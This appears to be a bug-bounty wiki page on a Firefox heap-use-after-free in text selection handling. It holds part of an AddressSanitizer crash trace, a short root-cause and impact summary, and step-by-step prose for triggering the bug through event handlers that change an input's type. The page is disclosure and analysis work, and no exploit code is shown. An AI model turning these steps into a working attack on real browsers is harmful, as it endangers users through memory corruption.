mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3036:13 #14 0x7f83e3df6a34 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15 #15 0x7f83e3df6a34 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473 #16 0x7f83e3de1a66 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:528:12 #17 0x7f83e3de1a66 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3096 #18 0x7f83e3dc8410 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12 #19 0x7f83e3df6f6c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495:15 #20 0x7f83e3df7a92 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541:10 #21 0x7f83e48dda6c in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:3029:12 #22 0x7f83dccfe65e in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37 #23 0x7f83dd8a293a in Call<nsISupports > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12 #24 0x7f83dd8a293a in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215 #25 0x7f83dd869121 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1111:51 #26 0x7f83dd86b032 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:20 #27 0x7f83dd854792 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:496:16 #28 0x7f83dd8581b8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:865:9 #29 0x7f83dfd40f78 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1072:7 #30 0x7f83e307354d in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7259:21 #31 0x7f83e306f5fa in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7052:7 #32 0x7f83e307726f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp #33 0x7f83da108837 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1319:3
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:1799:10 in nsTextEditorState::SetSelectionRange(unsigned int, unsigned int, nsITextControlFrame::SelectionDirection, mozilla::ErrorResult&) Shadow bytes around the buggy address: 0x0c18800470c0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa 0x0c18800470d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c18800470e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c18800470f0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c1880047100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c1880047110: fa fa fa fa fa fa fa fa fd fd fd fd fd[fd]fd fd 0x0c1880047120: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c1880047130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1880047140: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c1880047150: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c1880047160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==31055==ABORTING
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the selection event handler re-enters the input element and changes its type, which releases the text editor state, but the caller keeps using the now-freed object.
Impact
The content process crashes; the memory corruption could potentially be exploited, though the report only demonstrates a crash.
What the attacker needed
FuzzPriv extension installed; victim loads a crafted page
How it was found
- Create an input element and set its range text.
- Attach select and selectstart handlers to the document element and append the input.
- After a short delay, call select() on the input.
- In the select handler, call setSelectionRange and dispatch a trusted key event.
- In the selectstart handler, clone the input, set the clone's type to number and the original's type to hidden.
- Reload the page after a further delay.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page can make the browser use a piece of memory after it has already been freed. This is called a use-after-free and can crash the browser or, in the worst case, let an attacker run their own code. The testcase does this by changing an input field's type from inside a selection event handler.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.